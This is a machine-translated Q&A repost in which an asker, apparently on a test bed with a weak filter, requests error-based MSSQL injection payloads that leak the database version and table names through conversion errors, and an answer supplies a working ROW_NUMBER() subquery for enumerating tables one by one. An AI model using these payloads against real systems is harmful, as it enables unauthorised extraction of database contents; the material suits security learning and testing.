![](/img/trans.png)
[英]Is it possible to prevent SQL injection without prepared statements (Node.js & MSSQL)
[英]MSSQL injection
我只是安裝了一個測試床,並禁用了information_schema的訪問權限(一個弱的waf),並且我一直在嘗試通過使用convert從數據庫中提取表列表,以將包含的信息吐出一個轉換錯誤。 要提取版本,我們使用以下語法:+ and + 1 = convert(int,@@ version)結果將是:
Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2008 R2 (SP2) Copyright (c) Microsoft Corporation Standard Edition Windows NT 6.1 (Build 7601: Service Pack 1) (Hypervisor) ' to data type int.
查詢的結果是單引號內的內容。 現在,通常可以從數據庫中獲取第一個表:
convert(int,(select+top+1+table_name+from+information_schema.tables))
這將導致錯誤:
Microsoft OLE DB Provider for SQL Server error '80040e07'
Conversion failed when converting the nvarchar value 'tblDepartement' to data type int.
index.asp, line 30
同樣,答案在兩個單引號內,即tblDepartement
。 提取表名的另一種方法是使用以下兩個查詢:
(A):SELECT name FROM sys.tables
(B): select * from sys.tables
。 如果我嘗試使用以下語法(A):
convert(int,(select name FROM sys.tables))
我收到錯誤:
Error Executing Database Query.
[Macromedia][SQLServer JDBC Driver][SQLServer]Incorrect syntax near the keyword 'from'.
如果我嘗試使用以下語法(B): convert(int,(select * FROM sys.tables))
我收到錯誤消息:
Error Executing Database Query.
[Macromedia][SQLServer JDBC Driver][SQLServer]Incorrect syntax near '*'.
所以我的問題是,如何不能在轉換語法中使用information_schema並使用sys.tables來從數據庫中獲取表列表? 謝謝。
CONVERT
函數需要一個表達式 ,在子查詢的情況下,該表達式必須為標量:
{ constant | scalar_function | [ table_name. ] column | variable
| ( expression ) | ( scalar_subquery )
| { unary_operator } expression
| expression { binary_operator } expression
| ranking_windowed_function | aggregate_windowed_function
}
進一步:
( 標量子查詢 )
是一個返回一個值的子查詢。 例如:
SELECT MAX(UnitPrice) FROM Products
因此,代替表達式的子查詢必須僅返回一個值,因此既不包含多列也不包含多行。
對於您的查詢(A)和(B),都沒有滿足此限制,因為TABLES表具有多列和多行。
要枚舉所有表名,您只需要像下面這樣分別請求每個表名:
CONVERT(INT, (
SELECT TOP 1 table_name
FROM (
SELECT table_name, ROW_NUMBER() OVER (ORDER BY table_name) AS row_num
FROM information_schema.tables
) t
WHERE row_num > 123
))
不幸的是,Transact-SQL需要此ROW_NUMBER()
來進行偏移量選擇。
聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.